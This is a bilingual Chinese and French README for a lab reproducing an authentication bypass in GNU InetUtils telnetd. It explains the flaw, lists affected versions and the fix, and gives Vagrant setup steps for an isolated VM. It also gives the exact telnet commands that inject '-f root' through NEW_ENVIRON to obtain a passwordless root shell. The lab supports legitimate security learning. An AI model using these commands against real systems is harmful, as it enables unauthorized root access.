⚠️ 仅限教育用途。隔离实验环境。
GNU InetUtils telnetd ≤ 2.7 中存在严重身份验证绕过漏洞(CVSS 9.8)。
通过 Telnet NEW_ENVIRON 选项将 -f root 作为 USER 变量注入,
未认证的攻击者无需任何密码即可获得 root shell。
在 Telnet 协商期间从客户端接收到的 USER 变量被直接传递给
/usr/bin/login 而未经过滤:
/usr/bin/login -p -f root
-f 标志指示 login 跳过指定用户的密码验证。
此风险已在 RFC 1572(第 7 节)中记录——然而该漏洞在 inetutils 中持续存在超过十年。
GNU InetUtils telnetd 1.9.3 至 2.7
升级至 GNU InetUtils ≥ 2.7-2
本实验室使用 Vagrant 配置一个真实的隔离虚拟机,运行存在漏洞的 telnetd 版本(inetutils 2.5,从源代码编译),尽可能接近真实环境。
要求: 您的机器上已安装 Vagrant + VirtualBox。
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
VM 启动后 IP 为 192.168.56.10,telnetd 监听 23 端口。

从您的宿主机操作:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
USER 变量在协商阶段(登录提示出现之前)通过 NEW_ENVIRON Telnet 选项注入。

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli